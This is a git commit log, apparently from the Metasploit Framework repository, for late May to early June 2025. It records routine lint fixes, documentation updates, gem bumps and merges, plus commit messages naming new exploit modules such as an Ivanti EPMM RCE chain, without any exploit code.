Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:05:31 +02:00
Julien Voisin 97b9b80b26 Update modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:05:19 +02:00
Julien Voisin 08c5654ef2 Update modules/exploits/freebsd/samba/trans2open.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:05:12 +02:00
Julien Voisin 7738d146b9 Update modules/exploits/solaris/samba/trans2open.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:05:06 +02:00
Julien Voisin 54c5e7df18 Update modules/exploits/windows/smb/ms10_061_spoolss.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:04:59 +02:00
Julien Voisin af57c9ba77 Update modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:04:51 +02:00
Julien Voisin ea7d88d8be Update modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:04:42 +02:00
jenkins-metasploit 5e2418cf1f automatic module_metadata_base.json update 2025-06-02 10:46:07 +00:00
cgranleese-r7 4238fd6bab Merge pull request #20272 from zeroSteiner/fix/mod/add-esc-refs
Add missing references for AD CS modules
2025-06-02 11:38:13 +01:00
msutovsky-r7 d118b34823 Merge branch 'rapid7:master' into fix/sap_router_info_failure 2025-06-02 11:25:08 +02:00
jenkins-metasploit 7a3697820c automatic module_metadata_base.json update 2025-06-02 07:12:08 +00:00
msutovsky-r7 be8bb63186 Land #20237, resolves RuboCop violations in auxiliary/scanner/couchdb
modules/auxiliary/scanner/couchdb: Resolve RuboCop violations
2025-06-02 09:03:47 +02:00
jenkins-metasploit d04df220c7 automatic module_metadata_base.json update 2025-06-02 06:15:58 +00:00
msutovsky-r7 11a3564dff Landing #20271, resolves RuboCop violations in auxiliary/server/dns
modules/auxiliary/server/dns: Resolve RuboCop violations
2025-06-02 08:07:42 +02:00
msutovsky-r7 847fd9aa83 Landing #20270, adds documentation for auxiliary/scanner/discovery/udp_probe
Add documentation for auxiliary/scanner/discovery/udp_probe
2025-06-01 22:25:49 +02:00
Mario 50ae65d59c Update documentation/modules/auxiliary/scanner/discovery/udp_probe.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-31 17:13:29 +02:00
Lukas Johannes Möller 9cccad015d fix(post/windows/manage/remove_host): handle whitespace parsing robustly
See #20157
2025-05-31 12:47:33 +02:00
Spencer McIntyre 176dd849e0 Add missing references for AD CS modules 2025-05-30 13:54:35 -04:00
remmons-r7 c2556382f1 Reword "pt" to "part" in the Metasploit module 2025-05-30 10:52:28 -05:00
root 7aa1d17124 rex version fix 2025-05-30 16:46:08 +01:00
root 11a51bf489 rex version payloads 2025-05-30 16:43:40 +01:00
Julien Voisin 0106a4440e Merge branch 'master' into aka_equationgroup 2025-05-30 17:17:54 +02:00
Spencer McIntyre 634c480bd0 Update modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-05-30 10:18:20 -04:00
root dbfaece2a2 badchars fix + extend payloads 2025-05-30 14:19:56 +01:00
root ca8a3c586a added 2025.7 support 2025-05-30 14:12:52 +01:00
Spencer McIntyre 6c05ffb67d Appease rubocop 2025-05-30 09:06:38 -04:00
Spencer McIntyre dd6208a051 Bump the rex-random_identifier gem 2025-05-30 09:06:38 -04:00
Spencer McIntyre 960e29f64d Update specs 2025-05-30 09:06:38 -04:00
Spencer McIntyre f3b650a409 Major refactoring of PHP payloads and related exploits 2025-05-30 09:06:38 -04:00
Spencer McIntyre dcaeb5266c Define the system_block module function 2025-05-30 09:06:38 -04:00
Spencer McIntyre 9220360ed0 Add an ARCH_PHP -> ARCH_CMD adapter 2025-05-30 09:06:20 -04:00
bcoles 5ecf5b770b modules/auxiliary/server/dns: Resolve RuboCop violations 2025-05-30 22:26:50 +10:00
jenkins-metasploit 9aa775d140 automatic module_metadata_base.json update 2025-05-30 11:56:36 +00:00
msutovsky-r7 e55032a14f Land #20238, resolves RuboCop violations in auxiliary/scanner/db2
modules/auxiliary/scanner/db2: Resolve RuboCop violations
2025-05-30 13:48:59 +02:00
jenkins-metasploit 94b5ba520b automatic module_metadata_base.json update 2025-05-30 10:55:29 +00:00
msutovsky-r7 d92088fa97 Land #20239, resolves RuboCop violations in auxiliary/scanner/dcerpc
modules/auxiliary/scanner/dcerpc: Resolve RuboCop violations
2025-05-30 12:47:18 +02:00
mariomontecatine 3efcc6322b Add documentation for auxiliary/scanner/discovery/udp_probe 2025-05-30 06:23:54 -04:00
root 69870ee703 Update Remote for Mac 2025.6 RCE module with improvements and fixes 2025-05-30 11:21:07 +01:00
jenkins-metasploit b0b0022158 automatic module_metadata_base.json update 2025-05-30 10:09:34 +00:00
msutovsky-r7 9ef3134049 Land #20240, resolves RuboCop violations in modules/auxiliary/scanner/dect
modules/auxiliary/scanner/dect: Resolve RuboCop violations
2025-05-30 12:01:30 +02:00
jenkins-metasploit 14a219e7e3 automatic module_metadata_base.json update 2025-05-29 15:05:10 +00:00
Diego Ledda d08995c051 Merge pull request #20201 from bcoles/rubocop-modules-auxiliary-admin-networking
modules/auxiliary/admin/networking: Resolve RuboCop violations
2025-05-29 16:53:07 +02:00
Diego Ledda 537f12b6ec Merge pull request #19976 from msutovsky-r7/feat/php_cmd_adapter
PHP cmd adapter
2025-05-29 16:49:58 +02:00
Chocapikk 33439fccb3 Add verbosity, update doc 2025-05-29 16:30:41 +02:00
Spencer McIntyre b40dbe89ff Always return an array of PreAuthData 2025-05-29 10:25:35 -04:00
Valentin Lobstein f053d993f7 Update modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-05-29 15:59:00 +02:00
jenkins-metasploit 379e62b3ee automatic module_metadata_base.json update 2025-05-29 13:23:27 +00:00
Diego Ledda 8f64994f47 Merge pull request #20246 from bcoles/encoders-metasm-cpu
Encoders: Fix assemble method Metasm CPU definition
2025-05-29 15:15:49 +02:00
bwatters-r7 e36336669d Update description in module and docs to reflect nre option name 2025-05-29 08:11:33 -05:00
Martin Sutovsky cb0ef76140 Adds fail_with to avoid returning nil 2025-05-29 13:47:36 +02:00
root e027be9f4c Add documentation for Remote for Mac 2025.6 unauthenticated RCE module 2025-05-29 12:30:10 +01:00
Metasploit 3c876901ff Bump version of framework to 6.4.67 2025-05-29 05:29:32 -05:00
jenkins-metasploit 05fa8c6b30 automatic module_metadata_base.json update 2025-05-29 10:17:57 +00:00
adfoster-r7 52a097b7e0 Merge pull request #20268 from rapid7/revert-20194-ensure-thinkphp-rce-runs-on-metasploit-pro
Revert "Ensure thinkphp rce runs on metasploit pro"
2025-05-29 11:09:48 +01:00
adfoster-r7 f1d7f2ed22 Revert "Ensure thinkphp rce runs on metasploit pro" 2025-05-29 10:54:51 +01:00
jenkins-metasploit 9651c8b966 automatic module_metadata_base.json update 2025-05-29 08:46:19 +00:00
msutovsky-r7 a5d80290f8 Land #20241, resolves RuboCop violations for modules/auxiliary/scanner/discovery
modules/auxiliary/scanner/discovery: Resolve RuboCop violations
2025-05-29 10:38:28 +02:00
msutovsky-r7 6628e0d9e7 Update modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb
This will look better in Metasploit wrapup blog

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-29 10:05:10 +02:00
root cf3e1764c5 Finalize Remote for Mac 2025.6 RCE module (no CVE yet) 2025-05-29 04:29:15 +01:00
remmons-r7 68929a50fa Add ivanti_epmm_rce_cve_2025_4427_4428.md
Documentation for ivanti_epmm_rce_cve_2025_4427_4428.
2025-05-28 17:35:34 -05:00
remmons-r7 704e498f39 Add ivanti_epmm_rce_cve_2025_4427_4428.rb
Add a module for CVE-2025-4427 and CVE-2025-4428, unauthenticated RCE chain in Ivanti EPMM.
2025-05-28 17:32:56 -05:00
Spencer McIntyre 09c313003b Propagate KERB-SUPERSEDED-BY-USER error details 2025-05-28 17:57:01 -04:00
Spencer McIntyre 74dcabfcc1 Add the definitions for KERB-SUPERSEDED-BY-USER 2025-05-28 17:38:36 -04:00
bwatters-r7 b207a8848c Fix references to LDAP Datastore Options 2025-05-28 12:02:01 -05:00
jenkins-metasploit a847038d90 automatic module_metadata_base.json update 2025-05-28 16:49:12 +00:00
Diego Ledda 9b7e27e946 Merge pull request #20185 from Chocapikk/wp_depicter_sqli_cve_2025_2011
Add WP Depicter Plugin Unauth SQL Injection (CVE-2025-2011)
2025-05-28 18:38:52 +02:00
Spencer McIntyre 5c6f6f1070 Merge pull request #20261 from bwatters-r7/fix/vmcenter_vmdir_auth
Update datastore option names in vmware_vcenter_vmdir_auth_bypass module and docs
2025-05-28 12:33:43 -04:00
Christophe De La Fuente 4ccab4543d Register VulnAttempts for both Exploit and Auxiliary modules 2025-05-28 18:19:12 +02:00
Diego Ledda 6cb8d8c599 fix(modules): renaming run_host to run 2025-05-28 18:01:32 +02:00
jenkins-metasploit 1264bfa606 automatic module_metadata_base.json update 2025-05-28 15:02:17 +00:00
msutovsky-r7 f3668f436b Land #20242, resolves RuboCop violations for modules/auxiliary/scanner/sap
modules/auxiliary/scanner/sap: Resolve RuboCop violations
2025-05-28 16:54:01 +02:00
Valentin Lobstein 8055ba3d65 Update modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-28 16:28:59 +02:00
bwatters-r7 e282bbda99 Update datastore option names in module and docs 2025-05-28 09:23:36 -05:00
Spencer McIntyre dae8c9b43a Update the ldap/change_password module 2025-05-28 10:19:30 -04:00
dwelch-r7 c73bffaf87 Merge pull request #20257 from cgranleese-r7/fixes-deprecation-error
Fixes an error in `report_note` deprecation message
2025-05-28 13:28:13 +01:00
bcoles 1b95ece26d modules/auxiliary/scanner/sap: Resolve RuboCop violations 2025-05-28 22:15:05 +10:00
jenkins-metasploit 02d7a23fef automatic module_metadata_base.json update 2025-05-28 12:00:57 +00:00
Diego Ledda ce6e0d1164 Merge pull request #20096 from h00die-gr3y/CVE-2025-30406
Gladinet CentreStack/Triofox ASP.NET ViewState Deserialization [CVE-2025-30406]
2025-05-28 13:46:13 +02:00
Diego Ledda cd63d653a8 Merge pull request #20200 from bcoles/rubocop-modules-auxiliary-admin-oracle
modules/auxiliary/admin/oracle: Resolve RuboCop violations
2025-05-28 13:45:33 +02:00
cgranleese-r7 bae1a3e93a Fixes an error for report_note deprecation message 2025-05-28 12:29:16 +01:00
root 38f0178ad8 Update exploit: fix PacketStorm reference, add CVE placeholder 2025-05-28 09:27:28 +01:00
root 1860c16aa8 Add Remote for Mac 2025.6 unauthenticated RCE module 2025-05-28 07:42:34 +01:00
Spencer McIntyre 53ee96fc1f Merge pull request #20255 from arpitjain099/master
Improve code clarity and consistency through minor refinements
2025-05-27 17:28:58 -04:00
Arpit Jain ca76181335 Improve code quality 2025-05-27 17:27:19 -04:00
Spencer McIntyre 2ec457779c Merge pull request #20180 from smashery/powershell-impersonate-warning
Warn user if they are using PowerShell with impersonation
2025-05-27 13:15:35 -04:00
jenkins-metasploit 9e90b5d3c4 automatic module_metadata_base.json update 2025-05-27 16:02:10 +00:00
msutovsky-r7 ec98f0af2c Land #20243, resolving Rubocop violations in modules/auxiliary/scanner/snmp
modules/auxiliary/scanner/snmp: Resolve RuboCop violations
2025-05-27 17:54:32 +02:00
bcoles e89b103873 modules/auxiliary/scanner/snmp: Resolve RuboCop violations 2025-05-28 01:19:53 +10:00
Martin Sutovsky 4d956ba4e4 Fixing Rubocop formatting 2025-05-27 16:35:34 +02:00
Martin Sutovsky fa0aaa0834 Rubocoping 2025-05-27 16:31:36 +02:00
Martin Sutovsky f762c945c0 Adding payload definition 2025-05-27 16:31:36 +02:00
Martin Sutovsky 126b155d6e Adding uuid for cmd 2025-05-27 16:31:33 +02:00
Martin Sutovsky 3b1bfe8aba Fixing meterpreter session 2025-05-27 16:30:53 +02:00
Martin Sutovsky 735140f217 Rolling back to previous base64 functionality 2025-05-27 16:30:53 +02:00
Martin Sutovsky c30a6cabe3 More reliable full command path detection, using already existing base64 encoder 2025-05-27 16:30:52 +02:00
Martin Sutovsky 3e75553044 Removing uncessary whitespaces 2025-05-27 16:30:52 +02:00
Martin Sutovsky b4d2df91de Encoding PHP payload and piping into php unix command 2025-05-27 16:30:52 +02:00
Ashley Donaldson 904f4b68f7 Warn user if they are using PowerShell with impersonation 2025-05-27 10:14:48 -04:00
bcoles 32c5280b13 modules/auxiliary/admin/oracle: Resolve RuboCop violations 2025-05-28 00:10:48 +10:00
Spencer McIntyre b84936f3e2 Merge pull request #20233 from zeroSteiner/fix/bump-payloads/2.0.221
Update metasploit-payloads gem to 2.0.221
2025-05-27 10:05:47 -04:00
Chocapikk 05d41232fe Add CVE IDs 2025-05-27 13:51:49 +02:00
jenkins-metasploit d81c4ee802 automatic module_metadata_base.json update 2025-05-27 09:11:57 +00:00
Diego Ledda 76ab21a2af Merge pull request #20147 from zeroSteiner/fix/issue/19641
Add SOCKS5H Proxy Support
2025-05-27 10:54:57 +02:00
Diego Ledda f2e222bfcb Merge pull request #20198 from bcoles/rubocop-modules-auxiliary-admin-scada
modules/auxiliary/admin/scada: Resolve RuboCop violations
2025-05-27 10:53:46 +02:00
RAMELLA Sebastien c84056780e fix. r7 code review
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-05-27 11:45:52 +04:00
jenkins-metasploit 97beb2029c automatic module_metadata_base.json update 2025-05-26 20:55:47 +00:00
adfoster-r7 526a8014b4 Merge pull request #20244 from bcoles/modules-auxiliary-scanner-vmware
modules/auxiliary/scanner/vmware: Resolve RuboCop violations
2025-05-26 21:48:13 +01:00
adfoster-r7 59562d9367 Merge pull request #20236 from bcoles/rubocop-Style/RedundantRegexpArgument
Rubocop: Enable Style/RedundantRegexpArgument
2025-05-26 20:16:42 +01:00
adfoster-r7 b19b087feb Merge pull request #20204 from bcoles/rubocop-Layout/LineContinuationLeadingSpace
Rubocop: Disable Layout/LineContinuationLeadingSpace
2025-05-26 20:14:55 +01:00
Chocapikk 6dc9809837 Non-blocking requests when trying to exploit, since the payload can be triggered twice 2025-05-26 20:17:39 +02:00
Chocapikk 854d2354fa Fix check, both requests can display if the system is vulnerable 2025-05-26 20:04:19 +02:00
bcoles 1b4d65e8b7 Encoders: Fix assemble method Metasm CPU definition 2025-05-26 23:03:12 +10:00
bcoles 4c0ec87d7c modules/auxiliary/scanner/vmware: Resolve RuboCop violations 2025-05-26 21:30:58 +10:00
bcoles d03b65e7e5 modules/auxiliary/admin/scada: Resolve RuboCop violations 2025-05-26 20:49:19 +10:00
Chocapikk 387a39d0a9 Update doc, module 2025-05-25 20:13:36 +02:00
bcoles b25925d28a modules/auxiliary/scanner/discovery: Resolve RuboCop violations 2025-05-25 12:44:10 +10:00
bcoles e0d2cd29c2 modules/auxiliary/scanner/dect: Resolve RuboCop violations 2025-05-25 12:11:13 +10:00
bcoles e9d682dca7 modules/auxiliary/scanner/dcerpc: Resolve RuboCop violations 2025-05-24 15:04:15 +10:00
bcoles feebf2bc49 modules/auxiliary/scanner/db2: Resolve RuboCop violations 2025-05-24 14:23:30 +10:00
bcoles 170d007375 modules/auxiliary/scanner/couchdb: Resolve RuboCop violations 2025-05-24 14:17:49 +10:00
bcoles caf17eea37 Rubocop: Enable Style/RedundantRegexpArgument 2025-05-24 13:36:29 +10:00
bcoles 5aa91bd57c Rubocop: Resolve Rubocop Style/RedundantRegexpArgument violations 2025-05-24 13:34:32 +10:00
Chocapikk 6644bfa8dc Check PHP version using X-Powered-By header 2025-05-24 00:10:52 +02:00
Chocapikk 64b9254b3d Remove useless command in Dockefile 2025-05-23 23:59:06 +02:00
Valentin Lobstein e6aa8a3125 Update documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:56:37 +02:00
Valentin Lobstein df44d63ac3 Update documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:56:18 +02:00
Valentin Lobstein f5e33ef290 Update documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:55:55 +02:00
Valentin Lobstein 69426e6dca Update modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:55:44 +02:00
Valentin Lobstein 1c717cf56b Update modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:55:34 +02:00
Chocapikk ac98c1f554 Replace passthru with system 2025-05-23 23:34:44 +02:00
Chocapikk 1f6dd34f93 vBulletin replaceAdTemplate Remote Code Execution 2025-05-23 23:17:02 +02:00
adfoster-r7 d2da920ee1 Merge pull request #20199 from bcoles/rubocop
Rubocop: Enable Layout/SpaceBeforeBrackets
2025-05-23 18:28:42 +01:00
adfoster-r7 28d9e776e8 Merge pull request #20224 from bcoles/gemfile-rubocop
Bump rubocop from 1.75.6 to 1.75.7
2025-05-23 18:28:12 +01:00
Spencer McIntyre 2f82d66b13 Update metasploit-payloads gem to 2.0.221
Includes changes from:
* rapid7/metasploit-payloads#738
* rapid7/metasploit-payloads#756
* rapid7/metasploit-payloads#711
* rapid7/metasploit-payloads#747
2025-05-22 18:24:16 -04:00
Chocapikk 2e158d2d1a Fix User-Agent issue 2025-05-22 23:47:20 +02:00
jenkins-metasploit 0c5ddcdb1a automatic module_metadata_base.json update 2025-05-22 20:13:16 +00:00
jheysel-r7 d8ad10555d Merge pull request #20232 from bcoles/rubocop-modules-auxiliary-afp
modules/auxiliary/scanner/afp: Resolve RuboCop violations
2025-05-22 13:05:20 -07:00
jenkins-metasploit e09f4de787 automatic module_metadata_base.json update 2025-05-22 19:44:02 +00:00
jheysel-r7 a93becb2f9 Merge pull request #20231 from bcoles/rubocop-modules-auxiliary-backdoor
modules/auxiliary/scanner/backdoor: Resolve RuboCop violations
2025-05-22 12:30:46 -07:00
jheysel-r7 b882873fe2 Merge pull request #20230 from bcoles/rubocop-modules-auxiliary-chargen
modules/auxiliary/scanner/chargen: Resolve RuboCop violations
2025-05-22 12:28:59 -07:00
jenkins-metasploit 1dcc905737 automatic module_metadata_base.json update 2025-05-22 17:05:36 +00:00
jheysel-r7 6cd7911b51 Merge pull request #20227 from bcoles/rubocop-modules-auxiliary-acpp
modules/auxiliary/scanner/acpp: Resolve RuboCop violations
2025-05-22 09:57:42 -07:00
bcoles eb278d7bf0 modules/auxiliary/scanner/backdoor: Resolve RuboCop violations 2025-05-23 00:52:03 +10:00
bcoles e00ed40164 modules/auxiliary/scanner/afp: Resolve RuboCop violations 2025-05-23 00:47:48 +10:00
jenkins-metasploit d291fb7741 automatic module_metadata_base.json update 2025-05-22 14:38:30 +00:00
adfoster-r7 48d31811d6 Merge pull request #19939 from cgranleese-r7/fixes-modules-to-correctly-use-hash-with-report-note
Updates the `reports_note` method to require a Hash
2025-05-22 15:29:55 +01:00
bcoles 4e8901d13c modules/auxiliary/scanner/chargen: Resolve RuboCop violations 2025-05-23 00:27:45 +10:00
bcoles 0b92e32a5a modules/auxiliary/scanner/acpp: Resolve RuboCop violations 2025-05-23 00:26:22 +10:00
Spencer McIntyre 5ce30355c5 Bump rex-sockets 2025-05-22 09:14:32 -04:00
Spencer McIntyre 6f7ccfd3a6 Fixup the specs 2025-05-22 09:14:32 -04:00
Spencer McIntyre 7fb208ba5a Update proxy string validation 2025-05-22 09:14:32 -04:00
Spencer McIntyre e7230482c3 Check the last proxy for resolution capabilities 2025-05-22 09:14:32 -04:00
adfoster-r7 a99a74c6f6 Update DNS resolution for socks proxies 2025-05-22 09:14:32 -04:00
Metasploit 35de45ee17 Bump version of framework to 6.4.66 2025-05-22 06:16:59 -05:00
cgranleese-r7 4309590ffa Lint files 2025-05-22 11:04:11 +01:00
cgranleese-r7 f6faa5598b Fixes modules to now correctly use a hash with report note 2025-05-22 10:59:50 +01:00
bcoles 8280e5d702 Bump rubocop from 1.75.6 to 1.75.7 2025-05-22 18:45:24 +10:00
dwelch-r7 c5a5488328 Merge pull request #20222 from adfoster-r7/pin-setup-ruby-github-action
Pin setup ruby github action
2025-05-22 09:38:56 +01:00
msutovsky-r7 3408a3fa1b Land #20221, adds document for copy_of_file.rb and ipv6_multicast_ping.rb
New documentation for some auxiliary modules
2025-05-22 08:32:12 +02:00
adfoster-r7 75fe738cd7 Pin setup ruby github action 2025-05-21 23:41:42 +01:00
jenkins-metasploit 1069b144fb automatic module_metadata_base.json update 2025-05-21 22:25:22 +00:00
jheysel-r7 c5cfbb60ce Merge pull request #20207 from zeroSteiner/fix/mod/kerberoast/krb-cache
Set the ticket storage so KrbCacheMode is used
2025-05-21 15:17:39 -07:00
jenkins-metasploit fdd57ad4f9 automatic module_metadata_base.json update 2025-05-21 21:34:48 +00:00
jheysel-r7 73d1350842 Merge pull request #20215 from bcoles/rubocop-Lint/Syntax
Modules: Resolve Rubocop Lint/Syntax violations
2025-05-21 14:26:49 -07:00
mariomontecatine e7a2809ca0 Adding documentation for modules/auxiliary/scanner/http/copy_of_file.rb 2025-05-21 14:48:10 -04:00
Chocapikk a09a0a25eb Fix finalize_admin 2025-05-21 20:18:43 +02:00
Chocapikk 0c556ff139 Fix 2025-05-21 20:10:02 +02:00
Mario 272546658e Merge branch 'rapid7:master' into master 2025-05-21 19:48:46 +02:00
Chocapikk 38b7cfd753 Refactor 2025-05-21 19:46:47 +02:00
Jack Heysel 306496eef8 Improve canonicalize method 2025-05-21 10:38:34 -07:00
jenkins-metasploit 227fd967f2 automatic module_metadata_base.json update 2025-05-21 17:34:09 +00:00
jheysel-r7 be678c46b3 Merge pull request #20193 from bcoles/rubocop-modules-auxiliary-crawler
modules/auxiliary/crawler: Resolve RuboCop violations
2025-05-21 10:26:25 -07:00
jheysel-r7 9e2383b75f Update modules/auxiliary/crawler/msfcrawler.rb 2025-05-21 10:02:02 -07:00
jenkins-metasploit 889489ab3b automatic module_metadata_base.json update 2025-05-21 16:37:01 +00:00
jheysel-r7 ca40f6ecbc Merge pull request #20214 from Chocapikk/invision_customcss_rce
Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916)
2025-05-21 09:29:14 -07:00
Chocapikk 2820a0418f Update code to use Wordpress::SQLi mixin ^^ 2025-05-21 18:27:02 +02:00
jenkins-metasploit ca013cace7 automatic module_metadata_base.json update 2025-05-21 15:50:12 +00:00
jheysel-r7 0600de2d90 Merge pull request #20177 from msutovsky-r7/clinic_management_system_sqli2rce
Clinic Patient's Management System SQLi (CVE-2025-3096)
2025-05-21 08:42:16 -07:00
Martin Sutovsky 282d0f7820 Refactor docs 2025-05-21 16:48:54 +02:00
jenkins-metasploit dc6b03f5f2 automatic module_metadata_base.json update 2025-05-21 14:16:25 +00:00
Diego Ledda ec32949612 Merge pull request #20197 from bcoles/rubocop-modules-auxiliary-admin-mssql
modules/auxiliary/admin/mssql: Resolve RuboCop violations
2025-05-21 16:08:26 +02:00
Diego Ledda 6af35dc40d Merge pull request #20144 from bcoles/spec-modules
spec: modules: Enable instantiation tests for Evasion and Post modules
2025-05-21 15:44:32 +02:00
jenkins-metasploit 203d4a6218 automatic module_metadata_base.json update 2025-05-21 09:26:50 +00:00
Diego Ledda d14b5c38db Merge pull request #20192 from bcoles/rubocop-modules-auxiliary-sniffer
modules/auxiliary/sniffer: Resolve RuboCop violations
2025-05-21 11:11:40 +02:00
Diego Ledda 9c53b32ae2 Merge pull request #20191 from bcoles/rubocop-modules-auxiliary-pdf
modules/auxiliary/pdf: Resolve RuboCop violations
2025-05-21 11:11:04 +02:00
bcoles 943c94774a Modules: Resolve Rubocop Lint/Syntax violations 2025-05-21 18:27:24 +10:00
Martin Sutovsky 1d6ec73a3c Fixes file cleanup 2025-05-21 09:05:41 +02:00
Valentin Lobstein 4d3e786a6e Update invision_customcss_rce.rb 2025-05-21 08:39:52 +02:00
Valentin Lobstein e5bbc01e78 Update invision_customcss_rce.md 2025-05-21 08:38:36 +02:00
Martin Sutovsky 86335ba84c Fixes URI path 2025-05-21 07:33:00 +02:00
jenkins-metasploit ee5f13a9ee automatic module_metadata_base.json update 2025-05-21 02:35:15 +00:00
jheysel-r7 264d53191c Merge pull request #20202 from bcoles/rubocop-modules-auxiliary-admin
modules/auxiliary/admin: Resolve RuboCop violations
2025-05-20 19:27:36 -07:00
bcoles 4ea181751d modules/auxiliary/admin: Resolve RuboCop violations 2025-05-21 08:32:40 +10:00
Chocapikk 14501a6084 Add lower bound version 2025-05-20 23:00:08 +02:00
jenkins-metasploit dda4cb9860 automatic module_metadata_base.json update 2025-05-20 20:29:24 +00:00
Spencer McIntyre eb6707b7b3 Merge pull request #20176 from smashery/asrep-update
Asrep update
2025-05-20 16:21:38 -04:00
Valentin Lobstein 5a436d27b9 Update modules/exploits/multi/http/invision_customcss_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-20 21:28:30 +02:00
jenkins-metasploit ee10e09869 automatic module_metadata_base.json update 2025-05-20 18:36:44 +00:00
jheysel-r7 18dc39e9a5 Merge pull request #20213 from bcoles/modules-exploits-linux-pop3
modules/exploits/linux/pop3: Resolve RuboCop violations
2025-05-20 11:22:05 -07:00
jheysel-r7 3a0e294f50 Merge pull request #20212 from bcoles/modules-exploits-linux-redis
modules/exploits/linux/redis: Resolve RuboCop violations
2025-05-20 11:21:35 -07:00
jenkins-metasploit db8d37b8e8 automatic module_metadata_base.json update 2025-05-20 18:09:56 +00:00
jheysel-r7 426aaa80fb Merge pull request #20211 from bcoles/modules-exploits-linux-ids
modules/exploits/linux/ids: Resolve RuboCop violations
2025-05-20 10:57:03 -07:00
jheysel-r7 b99e161003 Merge pull request #20210 from bcoles/modules-exploits-linux-imap
modules/exploits/linux/imap: Resolve RuboCop violations
2025-05-20 10:50:58 -07:00
jheysel-r7 dd3093c806 Merge pull request #20203 from bcoles/rubocop-modules-exploits-linux-upnp
modules/exploits/linux/upnp: Resolve RuboCop violations
2025-05-20 10:46:46 -07:00
jenkins-metasploit 85de0bca16 automatic module_metadata_base.json update 2025-05-20 16:45:33 +00:00
jheysel-r7 87c09acf82 Merge pull request #20195 from bcoles/rubocop-modules-auxiliary-admin-http
modules/auxiliary/admin/http: Resolve RuboCop violations
2025-05-20 09:37:23 -07:00
Chocapikk 28b7c7f786 Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916) 2025-05-20 18:33:06 +02:00
jenkins-metasploit 4f1fff83e0 automatic module_metadata_base.json update 2025-05-20 16:27:26 +00:00
jheysel-r7 2810fdaa4a Merge pull request #20165 from bcoles/rubocop-modules-exploits-linux-browser
modules/exploits/linux/browser: Resolve RuboCop violations
2025-05-20 09:19:34 -07:00
bcoles 693620e1a5 modules/exploits/linux/pop3: Resolve RuboCop violations 2025-05-21 02:19:09 +10:00
bcoles 6597a6c5fc modules/exploits/linux/redis: Resolve RuboCop violations 2025-05-21 02:07:54 +10:00
bcoles 3aa6e2d8db modules/exploits/linux/ids: Resolve RuboCop violations 2025-05-20 23:54:29 +10:00
bcoles ec7d54152b modules/exploits/linux/imap: Resolve RuboCop violations 2025-05-20 23:42:47 +10:00
Spencer McIntyre 973aba2779 Update metasploit-credential conservatively 2025-05-19 17:42:25 -04:00
jenkins-metasploit 618db3d53c automatic module_metadata_base.json update 2025-05-19 20:01:23 +00:00
adfoster-r7 ccced2c0ad Merge pull request #20190 from bcoles/rubocop-modules-auxiliary-dos-smb-smb_loris
modules/auxiliary/dos/smb/smb_loris: Resolve RuboCop violations
2025-05-19 20:54:00 +01:00
Spencer McIntyre c03c427633 Set the ticket storage so KrbCacheMode is used 2025-05-19 14:40:12 -04:00
Chocapikk 70d5fb4b65 Move from scanner to gather 2025-05-19 17:52:00 +02:00
Ashley Donaldson ae5b06897c Report ASREP hashes; neaten module to use shared code; add error-handling. 2025-05-19 19:13:01 +10:00
jenkins-metasploit 00cc93f679 automatic module_metadata_base.json update 2025-05-19 07:57:03 +00:00
msutovsky-r7 561eef98c1 Land #20188, adds module for CVE-2024-7399 Samsung MagicINFO 9 Server
Samsung MagicINFO 9 Server RCE (CVE-2024-7399) Module
2025-05-19 09:49:09 +02:00
Martin Sutovsky 070bd54d33 Addressing comments 2025-05-19 07:17:14 +02:00
mariomontecatine 8cde1bab78 Documentation for ipv6_multicast_ping.md 2025-05-18 04:31:03 -04:00
bcoles ffeddaaee3 Rubocop: Disable Layout/LineContinuationLeadingSpace 2025-05-18 17:02:35 +10:00
bcoles d567248b16 modules/exploits/linux/upnp: Resolve RuboCop violations 2025-05-18 16:29:41 +10:00
adfoster-r7 eb850f3e70 Merge pull request #20196 from bcoles/gemfile-rubocop
Bump rubocop from 1.67.0 to 1.75.6
2025-05-18 02:37:52 +01:00
adfoster-r7 7875feb10d Merge pull request #20166 from bcoles/msf-module-platform
Msf::Module::Platform#find_platform: Match known platforms before search
2025-05-18 01:43:58 +01:00
